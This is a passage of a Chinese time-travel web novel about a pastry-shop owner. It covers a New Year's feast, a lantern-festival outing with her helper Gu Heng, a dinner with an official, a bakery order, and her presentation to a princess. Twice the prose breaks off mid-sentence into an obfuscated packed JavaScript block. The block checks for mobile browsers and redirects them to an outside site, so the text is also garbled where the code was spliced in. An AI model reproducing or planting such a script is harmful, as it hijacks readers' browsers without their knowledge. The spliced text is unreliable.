“好啦好啦，东家喝得够畅快了，不能再喝了。”银岚看着裴清梧微晃的身形，心下了知，笑着收走她面前的酒盏：“明日该头疼了。” 说着，她利落地收拾起桌上的杯盘碗盏，转头对安静守在一旁的顾恒嘱咐道：“小阿恒，东家有些醉了，你力气大，抱东家回房歇着吧，仔细些。” “是……”顾恒低声应下，心口莫名跳得有些快。 他起身，走到裴清梧身边，看着她难得孩子气的迷糊模样，深吸一口气，小心翼翼地俯身，一手揽过她的肩背，一手穿过她的膝弯，稍一用力，便将她稳稳地横抱起来。 裴清梧的身子很轻，带着酒气的温热呼吸拂过他的颈侧，那缕幽香混合着酒香，丝丝缕缕往他身上缠绕上来。 他脚步放得极轻，抱着她穿过堂屋，走进内室，然后将她轻轻放在铺着洁净细麻褥子的矮榻上。 正欲替她拉上薄被，怀中人似乎因姿势变动，而低低嘤咛了一声，无意识地靠向他坚实的臂膀，含糊地嘟囔了一句，声音带着醉酒后特有的软糯：“唔……阿恒，你好像壮实了好多啊……” 突如其来的亲昵低语，宛如一颗滚烫的小石子，猛地砸进顾恒心湖，激起千层涟漪。 他只觉得一股血气轰地涌上脸颊和耳根，使得这两个地方瞬间烫得惊人，动作滞在半空，手臂仿佛被灼了一下似的，变得无比僵硬。 他甚至不敢低头看她此刻的表情，呼吸停滞了一瞬，不知该怎么办了。 好在这个时候，银岚有事唤他，如同解脱了一般，几乎是夺路而逃。 “怎么了小阿恒，脸怎么这么红？”银岚疑惑道：“莫不是感染风寒了？” “没，没有……” 顾恒好容易把她糊弄了过去，趁她背过身洗碗的时候，努力鼓了一下胳膊，捏了捏上边的肌肉。 “真的壮实了不少吗？” 他这样想着，又捏了捏。 虽说赵使君还了裴清梧一个清白，她也是无罪释放，但毕竟出了人命，许多人心里犯起了嘀咕。 更有那本就多思的，心中已揣测到，莫不是这铺子的东家得罪了人，才招了这么一场祸事，万一背后之人不依不饶，下一次构陷的时候，挑着自己了怎么办。 是以，原本门庭若市的酥山小集，一下子冷清了下来。 每日茜桃守在柜台前，来客寥寥无几，这也罢了，甚至还有那等本订做了点心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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羹汤是银岚特地熬煮的应节羹汤七宝羹，以肉汤为底，加入了切丁的芜菁③、荠菜、百合、莲藕、栗子、豆腐和几片象征长寿的松蕈，羹汁浓稠，色彩缤纷，寓意吉祥。 点心则是蔗浆浇酥山，小巧玲珑的置于精致的琉璃盏中，洁白如玉，冒着丝丝冷气，茜桃提着温热的蔗浆壶，小心翼翼地浇淋其上，琥珀色的蔗汁流淌而下，包裹住冰凉的乳酪，对比绝妙。 一切准备就绪，裴清梧宣布开宴。 四人围坐食案，暖锅咕嘟，香气弥漫，裴清梧亲自执壶，为每人杯中斟满温热的屠苏酒，酒气微辛，混合着食物的暖香，让人心神俱醉。 “来！”裴清梧举起杯盏，脸颊被暖气和酒意熏染得绯红：“抛却旧岁烦忧事，且喜新春共此时，愿我们岁岁平安，事事顺遂！干杯！” “岁岁平安，事事顺遂！”茜桃、银岚、顾恒齐声应和，杯盏相碰，发出悦耳的叮咚声。 一时筷箸交错，笑语喧阗。 茜桃迫不及待地咬了一口煎得焦脆的牢丸，烫得直吸气，逗得大家发笑；银岚忙着为众人捞取暖锅中熟透的食材；顾恒则默默地将烤鹅腿上最肥美的一块，用干净箸子夹到了裴清梧面前的碟子里。 裴清梧尝了尝浇着蔗浆的酥山，冰凉清甜，瞬间抚慰了被暖锅炙热的肠胃，眼波流转间，正对上顾恒望过来的视线。 他正稳稳地操持着竹刀，为她细细片下鹅肉，清澈的眼眸映着琉璃灯火，少了平日的阴郁，多了几分安稳的暖意，只一眼便飞快垂落，耳根却又悄悄染上淡淡的红。 屋外寒风呼啸，积雪渐深。 屋内却是暖锅蒸腾，笑语盈盈，四人围炉夜话，分享着琐碎日常与对未来朦胧的期许，守候着旧岁的最后一刻。 窗棂上凝结的水珠缓缓滑落，映照着满室温馨暖融的光亮，仿佛将外界所有的风雪与算计都隔绝开来，只余下这一隅安稳团圆的净土。 裴清梧看着暖锅中跳跃的火苗，轻声道：“火这般旺，来年咱们的灶头，也必红红火火！” 15. 春节灯火 旁人过年，走亲访友，热闹无比，但酥山小集的众人，都是没甚亲友者，裴清梧一个穿越来的自不必说，亲戚朋友在千年后的21世纪，原身也只一对狠心将她卖了的叔父婶娘。 顾恒母亲已死，不知生父何许人也，而银岚和茜桃，若是亲人里有靠得住的，也不至于被卖了。 所以，这个年，要么就是在家中做些吃食自娱自乐，要么，就出去逛逛庙会，趁宵夜暂解，去看看灯什么的。 这日，银丝炭燃得正暖，偶有小火星“噼啪”轻溅，映着赤色盘花吉庆纹样的窗花，银岚手巧，全是她剪的，说是添点喜庆。 裴清梧坐在书案边，一手拿着账本，另一手拨弄算盘，思量着这几个月来，酥山小集的收益。 看着看着，墨字在眼前游弋，带来一股滞闷之气，悄然盘踞胸臆，扰得人头昏脑胀。 她揉了揉发涩的眼角，抬眼环顾四周。 银岚昨日着了场风寒，此刻正裹着厚实的青布棉被，蜷在角落的矮榻上，偶有压抑的低咳；来了癸水的茜桃亦是面色微白，在小炉上守着煎药的砂铫，药气氤氲。 “东家，您久坐账房，估计闷得慌了，不如出去瞧瞧灯吧？”茜桃提议道。 裴清梧想了想，起身走到银岚榻边，探手试了试她额上的温度，仍是温热未尽。 “怎么还是在发热啊，你好生躺着吧，莫再着了风。”她掖了掖银岚的被角，又关切了问了几句后，目光转向茜桃略显憔悴的脸：“你也是，既有不舒服，便早些歇下，屋里这些事，不必强撑着。” 茜桃应了声，低头拨弄着炉火。 一时间，暖阁里只剩炭火的微响与断续的咳嗽。 此刻，这年节的暖屋里，竟透着几分清寂。 裴清梧踱至窗边，轻轻推开一扇支摘窗，一股凛冽寒气，裹挟着硫磺气息瞬间涌入。 远处的街衢，灯火如巨龙盘旋，鼎沸的人声与隐约的鼓乐，似乎穿透沉沉夜色，遥遥地递来。 她倚窗而立，望着那一片喧嚣热闹，轻叹道：“屋里确实是憋闷，我去外面透透气便回。” 说着，便要去取搭在架子上的大红羽缎斗篷。 “东家，灯会上人多眼杂，官府衙门难免照看不周，不若我陪你同去？”顾恒的声音自身后响起。 裴清梧回首，撞进少年清朗的眼眸中。 昏黄的光线下，挺拔的身姿映在绘着仙鹤祥云的素屏上，外衫已穿戴齐整。 裴清梧没有推拒，只微微颔首：“那便有劳了。” 甫一踏出铺门，秦州春节的喧嚣便扑面而来，瞬间将人卷入。 灯火辉煌如天河倒泻，高大的杉木灯轮巍然矗立，层层叠叠悬挂着七彩琉璃和素绢纱灯，燃起的烛火将晶莹剔透的琉璃映照得流光溢彩，又将纱灯上的花鸟人物映得栩栩如生，在夜风中摇曳。 长街之上，游人如织，比肩接踵。 身着锦衣貂裘的高门郎君娘子、粗布棉衣的市井百姓、操着异域口音的胡商，还有穿着各色袈裟的僧尼……汇成喧沸不息的人流。 百戏班子在街心空地敲锣打鼓，赤膊的力士表演胸口碎大石，引来阵阵喝彩；踩高跷的艺人扮作钟馗寿星，摇摇晃晃穿行于人群头顶；更有西域来的幻术师，口吐烈焰，引来一片惊呼。 空气中亦是弥漫着浓郁的食物香气，有刚出炉的热腾腾胡麻饼，滋滋冒油的烤古楼子羊肉，甜腻的蔗糖浇樱桃毕罗，还有小贩推车上蒸腾着热气的甜汤饼……混杂在爆竹燃放后的硝烟里，是最浓烈的人间烟火。 裴清梧几乎有些眩晕，下意识地想退后一步，避开这过于汹涌的人潮，一只手却在此时，轻轻托住了她的手肘。 顾恒不知何时已悄然移步到她外侧，将她与汹涌的人流隔开了一些微小的距离。 “东家当心脚下。”他声音不高，也是清晰地穿透了周遭的喧哗。 只觉得手肘处隔着数层衣衫，传来他掌心的支撑力，她定了定神，抬眼望去，少年昳丽的侧脸在变幻迷离的灯火下显得格外沉静，目光如鹰隼般扫视着周遭，为她隔开一片无形的屏障。 他引着她移动，总能恰到好处地让她避开推搡，偶尔会侧首，低声提醒一句“前方有槛”，或“留意孩童嬉闹”等，声音沉稳平静。 “阿恒，”裴清梧忍不住唤他：“难为你这般费心。” 顾恒闻言侧过头，灯火倒映在他眼底，漾开一点温润的光泽：“这是我分内之事。” 他顿了顿，目光掠过旁边一个冒着腾腾热气的食摊：“听过那家古楼子羊肉味道极好，东家可要尝尝？” 裴清梧笑道：“好啊。” 这摊子光顾的人不少，两人排了好长时间的队，看摊主麻利地将烤得焦黄酥脆的羊肉从炉膛内钩出，还在滋滋作响的时候，就剁成大块，再撒上厚厚一层西域来的孜然胡粉。 终于轮到他们了，滚烫的肉块用新剥的芭蕉叶托着递来，浓郁的辛香直扑口鼻。 裴清梧指尖被烫得微微一缩，倒吸一口凉气，一旁的顾恒赶紧伸出手，将那芭蕉叶接了过去。 他手指修长而敏捷，不知如何拈弄几下，便将那滚烫的叶托在自己掌心稳稳托住，另一手则从怀中取出一方干净的素帕递给她：“东家先用这个垫着。” 指尖偶然相触，那一点温热仿佛带着微小的电流，让裴清梧心头一跳。 她飞快地接过帕子，低声应了句：“嗯。” 随即低头，小口咬下那烤得恰到好处的羊肉。 馥郁的肉汁香在口中绽开，瞬间驱散了寒意，余光瞥见身旁的少年，一手稳稳托着那滚烫的叶托，一手轻轻拂开拥挤过来的人流，挺拔如松的身形，为她圈出一小方安然的空间。 随着人流，不觉已踱至西市口。 此处灯火尤盛，各式花灯争奇斗艳，最吸人眼球的便是那巨大的灯阵，上百盏彩灯分作数排，灯下皆悬有红笺谜题，远望如一片燃烧的彩云。 猜中谜底者，可得对应彩灯一盏或些许利物，是以摊前人头攒动，笑语喧哗，将半边街道映照得亮如白昼。 裴清梧目光被灯阵前一片异彩吸引——那摊主支起的架子上，悬着一盏琉璃莲灯，通体透亮，灯壁薄如蝉翼，内里赤金色灯火流溢，凝成一朵莲花悄然绽放。 琉璃纯净无瑕，莲花花瓣纹理纤毫毕现，在满目灯彩中，光华内蕴，清贵卓然，远胜周遭一切喧闹俗丽。 “好漂亮的琉璃灯。”裴清梧忍不住驻足轻叹，眼中映着那灯夺目的光华。 摊主是个留着山羊胡的精瘦老者，见有客欣赏，立刻堆满笑容，扬声道：“这位小娘子好眼力，此乃‘火中金莲’，琉璃灯中的上品！若娘子能猜中老朽这灯下三道谜题，此灯双手奉送！” 他声音洪亮，顿时引得周遭不少人侧目看来。 裴清梧被那灯吸引，又听得摊主如此一说，心中便起了兴致：“愿闻其详。” 摊主取下一张笺纸，朗声道：“第一题，两字相乘二十一，打一药物。” 人群里顿时响起低低的议论。 裴清梧凝眉思索，两字相乘二十一，是数字？还是形状呢？脑中飞快闪过各种可能，却一时不得要领。 “可是半夏？”旁边一人试探着问。 摊主笑着摇头。 裴清梧蹙眉更深。忽觉袖口被人极轻地碰了一下。 她下意识转头，正对上顾恒的目光，对方那只垂在身侧的手，借着宽大袖袍的遮掩，伸出一根手指，在她摊开的掌心边缘，划下了两个字，“三七”。 指尖划过掌缘，温热地在肌肤上留下奇异的麻痒，裴清梧心头猛地一跳，仿佛被那微小的电流击中。 她强行稳住心神，对摊主说：“是三七！” “好！”摊主捻须赞道：“小娘子聪慧！正是三七，请听第二题，‘日出东海落西山，愁也一天，喜也一天’，打一字。” 这个似乎更刁钻了。 裴清梧脑中急转，抿唇深思了一阵后，试探着问：“可是……元旦的旦？” “不错不错，正是旦。”老者笑言：“小娘子真是聪慧过人，再猜出一道，这灯就是你的了。” 裴清梧斗志昂扬：“说罢。” “比羽齐飞翔，翼翅不相离。天涯共此路，白首亦同栖……谜底，乃是一成语。” 裴清梧这下可猜的快，几乎是喊了出来：“比翼双飞！” 一边候着的顾恒，在听到这一句的时候，迅速扭过头，掉开脸去。 “正是呢，好了，这灯，便是小娘子的了。”摊主笑吟吟地将花灯递给她。 裴清梧欢天喜地接过，拿在手里端详，怎么看，都觉得好。 “阿恒，你看这灯好看么？”她问。 顾恒轻轻点头：“嗯，好看的。” 正在此时，穿一道笛声响起，穿透了水畔的喧哗，初时细弱，如初春融化的雪水，泠泠淙淙，试探着流淌，随即渐渐明朗开阔，化作蜿蜒曲折的清溪，穿林绕石，缠绵悱恻地在夜色中弥漫开来。 笛声时而低回，似有无尽私语欲诉还休；时而高亢，如孤鹤唳于九天，倾诉着缠绵入骨的思慕。 分明是缠绵悱恻的调子，耳边低语似的，往裴清梧身上丝丝缕缕缠绕上来，握着琉璃莲灯的手指无意识地收紧了几分。 只觉周遭鼎沸的人声似乎都退远了些，唯独那笛音和少年近在咫尺的气息，格外鲜明。 “咳……”裴清梧轻咳一声：“阿恒，陪我去放盏河灯吧？” 顾恒的目光从笛声传来的方向收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248451|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回，落在她微微泛红的耳尖上，眸色深了深，应道：“好。” 水渠边人影稀疏了些，岸边有小贩兜售着简易的莲花水灯，裴清梧挑了一盏素白的，顾恒则选了一盏青碧色的。 点燃灯芯的蜡烛，暖黄的火苗在薄纸间跳跃。 裴清梧捧着灯，看着水面上倒映的流光溢彩和自己手中莲灯的光晕，犹豫片刻，终是闭上眼睛，默默在心中许愿。 愿酥山小集众人平安康健，愿异世羁绊能得长久安稳，更愿现代的亲朋能平平安安。 承载了愿望的河灯，在水光潋滟中摇曳。 许愿毕，她俯身，小心翼翼地将灯放入水中。 薄纸托着烛火的莲花灯，轻轻摇晃了两下，便顺着水流缓缓飘远，融入那一片浮沉的星光里。 顾恒也将他的青碧色莲灯放入水中，两盏灯一前一后，隔着不远不近的距离，随着水流悠悠荡荡，渐渐消失在视线尽头。 “阿恒许的什么愿？”裴清梧随口问了一句。 “说出来就不灵了。”他倔着不肯答。 裴清梧倒也不强行追问，只对着他笑了笑：“走吧，该回去了，银岚和茜桃还在等着。” “裴东家？好巧。” 转身欲走时，一个清朗带笑的男声自身后传来。 裴清梧和顾恒同时回头。 只见灯火阑珊处，一人身着宝蓝色八答晕锦圆领袍，腰束玉带，外罩玄色狐腋裘，身姿挺拔，面容俊朗含笑，正是赵叙，身后半步，跟着一个精干的随从。 “赵校尉？”裴清梧着实有些意外，能在除夕夜游人如织的灯会上偶遇这位贵人：“新春纳福，校尉也来赏灯？” “新春纳福。”赵叙笑着拱了拱手：“家中应酬刚歇，出来透透气，不想竟遇到裴东家和顾小哥。” 说话间，他的视线在顾恒身上稍作停留。 “赵校尉安好。”顾恒抱拳行礼，姿态恭谨，不动声色地向前移了小半步，将裴清梧的身影更自然地护在侧翼。 “相请不如偶遇。”赵叙笑容和煦，指了指不远处一座灯火辉煌的三层飞檐楼阁，门前车马喧阗，正是秦州城顶顶有名的太白楼：“今夜难得清静，不知裴东家与顾小哥可否赏光，让赵某做个东道？楼里新到的厨子有几道拿手好菜，想必合裴掌柜心意。” 裴清梧稍作迟疑，想着家中尚在病中的银岚和不适的茜桃，又念及赵叙身份，婉拒似有不妥，便道：“校尉盛情，本不该推辞，只是铺中尚有伙计身体欠安……” “无妨，只小酌几杯，稍坐片刻便好。贵店伙计若需请医问药，赵某倒可略尽绵薄。”赵叙态度诚恳，言语间不容推拒。 裴清梧便不再推辞：“那便叨扰赵校尉了。” 太白楼雅间内，暖炉融融，隔绝了街市的喧嚣，雕花窗棂嵌着明瓦，透入外面朦胧的灯火。 紫檀木的食案光可鉴人，错金嵌银的杯盘碗碟已一一摆开，流光溢彩。 赵叙显然是此间常客，随手指点，侍者便流水般送上佳肴。 有浑羊殁忽，整只肥羊烤得外皮金黄油亮，剖开羊腹后，露出内里更为鲜嫩的一只肥鹅，鹅里头填满了糯米饭、板栗、松仁、和葡萄干。 有驼峰炙，切得薄如蝉翼的驼峰肉片，在滚烫的石板上炙烤过，滋滋作响，肉片边缘焦脆，内里却莹白如玉，脂香扑鼻，蘸上特制的西域香料与花蜜调制的酱汁，入口即化，鲜美异常。 有金齑玉脍，洁白如玉的生鲈鱼片薄如纸，铺在晶莹的冰屑上，旁边配着一小碟金黄色的蘸料，是由橙齑①、姜末、蒜蓉、细盐、清酱精心调和而成，鱼片蘸食，爽脆鲜甜，冰凉透心，与滚烫的驼峰炙形成绝妙对比。 有葱醋鸡，精选的童子鸡蒸得骨酥肉烂，斩件后浸润在用上等香醋、葱白丝、姜丝、花椒油调制的浓郁酱汁中，酸香扑鼻，极为开胃。 有冷蟾儿羹②，青玉碗中盛着清可见底的羹汤，汤中沉浮着饱满的蛤蜊肉，点缀着几丝嫩黄的姜丝和碧绿的芫荽末，汤入口清鲜无比，滋味绵长，暖胃舒心。 有贵妃红，外层酥皮烤制成诱人的妃色，层层叠叠如花瓣绽放，内馅是细腻的豆沙或枣泥，甜而不腻。 另一壶桑落酒：青瓷酒壶中斟出，色泽清亮，散发着桑叶与谷物酝酿后的独特醇香。 面对这琳琅满目、色香味俱佳的盛筵，饶是裴清梧心思还牵挂着家中病患，也不由得被吸引。 顾恒则依旧安静地坐在一旁，目光沉静如水，只在侍者布菜或赵叙举杯时，才恰到好处地应对，姿态恭谨，却带着不易察觉的疏离， 赵叙举杯，笑容温雅：“裴掌柜，顾小哥，请，愿新岁诸事顺遂，生意兴隆。” 正说着，却听外头有人通报：“秦州李别驾家的五娘子来了。” 16. 转折之处 秦州别驾家的五娘子名引珠，其母是李别驾的妾室胡姨娘，胡姨娘家中世代行商，这太白楼，就是其兄长的产业。 更重要的是，李引珠在那日赵娘子的宴席上，欣然解囊掏钱，算是酥山小集的大股东之一。 裴清梧一听，也顾不上吃东西，忙撂了筷子起身。 帘子被小二掀开，李引珠走了进来。 正值年节，她一身簇新，上着鹅黄织金牡丹纹短襦，领口袖缘镶着雪白的兔毫风毛，衬得一张小脸愈发莹润；下系石榴红撒花间色罗裙，行走间金线暗纹流光溢彩，外头披了件金红牡丹团花斗篷。 三千青丝绾成时兴的垂鬟望仙髻，发间斜插一支赤金点翠步摇，并几朵小巧的绢制红梅。 她本就生得柳眉杏眼，肌肤胜雪，此刻因着屋内暖意与年节喜气，双颊透出芙蓉般的浅粉，朱唇一点胭脂，更添明媚。 “李娘子。”裴清梧忙见礼。 李引珠先与赵叙见过，而后一边解着斗篷，一边笑吟吟地对裴清梧说：“裴东家可让我好找，大老远去了安业坊，谁知你家的丫头却说你出来看灯了，幸好啊，你到这太白楼来了，不然，我可真不知，上哪儿寻你去了。” 裴清梧抿唇浅笑，快店小二一步，接过李引珠的斗篷叠好：“不知李娘子，因何事找我啊？” “自然是生意上的事。”李引珠看向赵叙：“赵郎君，不介意我在此处，与裴东家说几句话吧？” 赵叙笑容和煦，作了个“请”的手势：“无妨。” 李引珠坐下，立刻有店小二上前，为她斟温好的桑落酒。 裴清梧也坐下，见李引珠细细地喝了一杯后，才缓缓道：“我来，是为了帮这太白楼，订一批点心。” “要什么样的？为着什么，李娘子快请说，奴家好记下来回去做。” 数日未开张，尽管打定了主意，年里要好好休息，听闻有生意上门，裴清梧还是喜上眉梢，忙询问道。 “你也瞧见了，太白楼只酒菜做的好，点心翻来覆去就那么几样，有那起子恶人构陷你的事情，我也听说了，左右我也在你那儿入了钱，你的生意不好做，我也拿不到银子。”李引珠拈起一块贵妃红，叹道：“就先替你做一笔生意，让你先开开张。” 裴清梧闻言，心中微动。 李引珠的意思，是让她先做太白楼的供货商，反正她现在生意也不怎么好，这样多少也能拿银钱，总比干耗着强。 “多谢李娘子了，真是解我之困苦。”她忙起身，叉手谢道。 李引珠轻笑：“我说了，也是为了我自己，不过，除却太白楼，我倒有另一桩生意，不知，你敢不敢做？” “是什么？” 裴清梧疑惑，赵叙却是了然一笑：“以裴东家的手艺，怎么不敢接？” 李引珠道：“圣人第十六女，寿春公主因着驸马官职调动，即将随着赴任秦州，这位公主嗜甜，好食点心，你若把她伺候好了，可不就是翻身的希望么？” 裴清梧听着，确实眼睛一亮。 本朝并不禁驸马入仕，这位公主的驸马吴澄出身将门，年少有为，此次擢升左卫中郎将，兼任秦州军府要职，公主方下降不久，少年夫妻感情甚笃，自然要随行。 圣人已有二十多个女儿，寿春公主生母并不受宠，地位也不高，只是个三品婕妤，可再怎么样，那也是个公主，金枝玉叶，皇亲国戚。 难伺候是肯定的，但若成功讨了公主的欢心，那些小人也不敢再有明面上的动作了。 “怎么样？敢接吗？”李引珠饶有兴致地问。 “当然，若是可以，还请李娘子在公主面前，为奴家引荐。”裴清梧微笑着说。 李引珠闻言，击掌笑道：“好一个裴东家，我就知道，你一定敢接这个活，好，我就在公主面前为你美言几句。” “谢李娘子。” 甫一回去，裴清梧就兴奋地，一左一右拉住银岚和茜桃：“银岚，茜桃，我们又有生意了！这一次做好了，以后就再也不愁了。” 银岚和茜桃闻言，亦是高兴至极。 “真的？太好了东家！”茜桃拍手跳了起来：“是什么大生意？” “是李娘子，让我们给太白楼供货，”裴清梧笑着点头，声音带着压抑不住的激动：“而且，不光是这个，还有一个天大的机会，给即将随驸马赴任秦州的寿春公主做点心！” “公、公主？！”茜桃的欢呼卡在喉咙里，变成了难以置信的惊呼，漂亮的大眼睛瞪得溜圆。 银岚脸上的笑容也瞬间凝固，转为深深的忧虑。 她下意识攥紧了裴清梧的衣袖，声音都紧绷起来：“东家，要给公主做点心？这、这能行吗？那可是金枝玉叶啊！万一……万一哪里不合心意，稍有差池，那可是、可是…” 她不敢再说下去，眼神里充满了对未知风险的恐惧。 给贵人做事，荣耀背后往往是无形的刀锋。 裴清梧看着银岚担忧的神色，心知她的顾虑极其现实，但自己骨子里那份闯劲和现实困境的双重压力，让她别无选择。 她反手握住银岚冰凉的手，压低声音：“银岚，别怕！老话说得好，‘人有多大胆，地有多大产’！咱不能总指望小买卖糊口，何况富贵险中求，风险越大，收获才可能越大！这时候就得——” 她顿了顿，一个极其现代的词汇脱口而出：“搏一搏，单车变摩托！” 顾恒、银岚和茜桃听得一愣，面面相觑。 “单、单车变摩托？”茜桃茫然地重复，完全不明白那是什么东西。 裴清梧忙道：“你可以理解为，搏一搏，原本是骑骡子出行，现在变成坐马车了。” 这么一解释，三人似乎有些懂了，再加上看裴清梧那斩钉截铁、信心十足的模样，心中的慌乱也被驱散了些许。 东家总是有主意的…… 他们这样想着，不约而同地看向裴清梧。 “总之，天塌下来有我顶着！”裴清梧豪气地一拍胸脯：“眼下，先把太白楼的单子稳稳拿下，这是开门红，也是向公主证明我们实力的第一步！” 接下来几日，酥山小集的后厨再次热火朝天。 裴清梧定了三样这个朝代没有的中式点心，李引珠说了，太白楼的点心师傅不会创新，那正好，让她来。 第一样，蛋黄酥。 选用上好的咸鸭蛋黄，喷上少许米酒去腥烤熟，油润起沙，再用猪油开酥，做出了层层叠叠、薄如蝉翼的酥皮。 红豆沙馅料炒得油润细腻，甜度适中，完美中和咸蛋黄的咸香。 最后刷上金黄的蛋液，撒上几粒黑芝麻点缀。 出炉时，金黄圆润，酥香扑鼻，切开后层次分明，豆沙裹着橙黄的蛋黄，诱人至极。 第二样，如意凉糕。 取上等糯米粉与少量粘米粉混合，加入用栀子花染出的淡黄色糖水，调成细腻柔滑的米浆。 另取一份米浆，加入捣碎的山楂酱，调成粉红色。 在特制的模具底层先倒入一层黄色米浆蒸熟定型，再小心地倒入一层粉红色山楂米浆继续蒸制。 蒸好后取出冷却定型，脱模后切成长方小块。 成品色泽莹润如玉，黄粉相间，层次分明，入口冰凉软糯，山楂的微酸与米糕的清甜完美融合，爽口不腻，形似小巧的如意，寓意吉祥。 第三样，椰蓉糯米糍。 将蒸熟的糯米捣成软糯有韧性的皮，包裹住炒香的花生碎、芝麻和砂糖混合的香甜馅心。 最关键的一步，是让圆滚滚的糯米团子在厚厚的椰蓉丝里滚上几圈，使之周身均匀地裹满。 成品雪白如绒球，入口先是椰香四溢，接着是糯米的软韧和花生芝麻的酥香甜蜜，口感层次丰富。 点心精心装盒，由裴清梧亲自送到了太白楼后厨。 掌柜和主厨验看之后，无不被其精巧的造型和新奇的口味所震撼，当即签下了供货契约。 裴清梧拿到了签好的契书，一颗心总算落回实处，正欲告辞，就听见一个清脆带笑的熟悉声音从门外传来：“裴东家！可叫我赶巧了！” 珠帘一掀，正是身着锦绣华服、容光焕发的李引珠。 她步履轻盈地走进来，目光扫过桌上尚未收起的点心盒，眼中笑意更深：“哟，这新品瞧着就新奇！太白楼有口福了。” 说着，随手拈起一个裹满椰蓉的小雪球，放入口中细细品尝，眼睛顿时亮了亮：“嗯！软糯香甜，还有这白丝……好生奇妙的香气！裴东家，你果然从不叫人失望。” 她话锋一转，直接拉住裴清梧的手腕：“点心的事交给掌柜便是，走走走，跟我来！” “李娘子？去哪儿啊？”裴清梧被她拉得一个趔趄。 “还能去哪儿？”李引珠回头嗔了她一眼，丹蔻鲜艳的指甲轻轻戳了戳她的手臂：“自然是去见公主！我昨日已递了帖子，言明寻得一巧手点心娘子，公主听闻秦州城几样新奇的点心皆自你手，又听我说了你的遭遇和新奇点子，颇有兴趣，此刻正好得闲，允我带你去见见，机会难得，快随我上车！” 不由分说，李引珠拉着还有些发懵的裴清梧便往外走。 门外，果然停着一辆青色油壁小车，装饰虽不奢华却处处透着精致，显然是李府专为女眷准备的。 裴清梧的心瞬间提到了嗓子眼。 之前还说着“富贵险中求”，此刻真要去直面天潢贵胄，紧张感瞬间淹没了她。 她深吸一口气，强自镇定，回头匆匆交代了随行的茜桃几句，便随着李引珠登上了马车。 车轮辘辘滚动，驶离喧闹的街市，朝着秦州城内公主暂时安置的府 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离公主越近，裴清梧就越紧张，手心微汗，心跳如鼓，每一步都走得小心翼翼，生怕踏重了惊扰这份寂静中的威严。 李引珠显然比她镇定，步履从容，由一名身着青碧宫装、头戴银簪的年长女官引着，穿过几重月洞门，来到一处更为雅致温暖的花厅。 甫一踏入厅门，融融暖意裹着花香袭来，厅内陈设华美而不失雅致，紫檀家具光润如鉴，地铺厚软的波斯花纹毡毯，鎏金博山炉中香烟袅袅。 厅内侍立着七八位宫女，皆着统一式样的浅碧色宫装，梳着双鬟髻，仪态恭谨，垂目屏息，宛如一幅静止的仕女图。 花厅主位之上，一位盛装丽人被宫女们如众星捧月般簇拥着，裴清梧不敢细看，只觉满室光华皆聚于彼处。 她不敢有丝毫怠慢，跟着李引珠的步伐，在距离主位尚有三四步远的地方，依照先前匆忙学来的宫廷礼节，深深垂首，趋步上前，行了一个极为恭敬规范的顿首礼：“民女裴氏清梧，叩见公主殿下，殿下万福金安。” 她姿态恭顺至极，额心贴着冰凉的手背，屏住呼吸，不敢稍动。 短暂的静默后，一个清泠悦耳的少女声音响起，打破了厅中的沉寂：“免礼，抬头说话。” “谢殿下恩典。”裴清梧再次叩首谢恩，方才缓缓抬起头来，依规矩目光微微下垂，不敢直视，但仍足以看清这位金枝玉叶的容颜。 寿春公主约莫十六七岁年纪，正是女子最好的年华，端坐在一张宽大的湘妃竹榻上，身下铺着厚厚的紫貂皮褥，姿态矜贵。 她上身穿一件绯红缕金百蝶穿花云锦宫装窄袖短襦，领口、袖缘和下摆处镶嵌着雪白无瑕的银狐毫风毛，另以极其精巧的蹙金绣工艺，密密匝匝绣着缠枝西番莲纹，点点金线在光影下流转生辉。 外罩一件同色的云霞凤纹缂丝衫子，边缘缀满了米粒大小的极珍珠，颗颗圆润莹白。 下着一条湖蓝色十幅曳地长裙，裙料是极为罕见的孔雀翎织金妆花罗，行走间裙摆如水波荡漾，随着光线角度变化，隐约呈现出蓝绿金三色光泽，流光溢彩，华美不可方物，裙裾边缘同样以金线勾勒出连绵的云水纹样。 腰间束着一条嵌白玉镂空莲花纹蹀躞带，更显纤腰一束。 青丝并未梳成过于繁复的高髻，而是挽成了一个温婉典雅的随云髻，髻心簪着一支耀眼夺目的赤金累丝嵌红宝点翠凤穿牡丹步摇，那凤凰展翅欲飞，口衔一溜细长的金累丝流苏，末端缀着水滴形的鸽血红宝石，随着她细微的动作轻轻摇曳，流光溢彩。 鬓边斜插一支小巧玲珑的赤金嵌珍珠海棠花钗，颈间戴着一挂浑圆饱满的东珠项链，颗颗有拇指大小，宝光华润。 再看其容貌，当真是雪肤花貌，丽质天成，肌肤细腻白皙，欺霜赛雪，一张鹅蛋脸线条柔和流畅，柳叶眉细长入鬓，眉色如远山含黛，一双凤眸最为出众，眼尾微微上挑，瞳孔清澈明亮，此刻正带着几分探究，居高临下地打量着裴清梧。 唇角天生带着微微上扬的弧度，不笑时也仿佛噙着三分笑意，双颊自然透出健康的粉晕，如同春日初绽的桃花，无需过多胭脂点缀。 她一手随意地搭在扶手之上，皓腕上戴着一对水头极足的翡翠玉镯，另一手则轻轻捏着一柄象牙柄缂丝牡丹团扇，通身气度风华绝代，贵气逼人，如同九天之上俯瞰凡尘的凤凰，令人不敢逼视。 裴清梧的心跳得更快了，深深感受到了何为真正的天家气象。 寿春公主的目光在裴清梧身上停留了片刻，并未立刻说话，只端起旁边鎏金高脚盘中的一只薄如蝉翼的甜白瓷茶盏，用杯盖轻轻撇了撇浮沫。 厅内静得落针可闻，唯有茶盏盖轻碰杯沿的细微脆响。 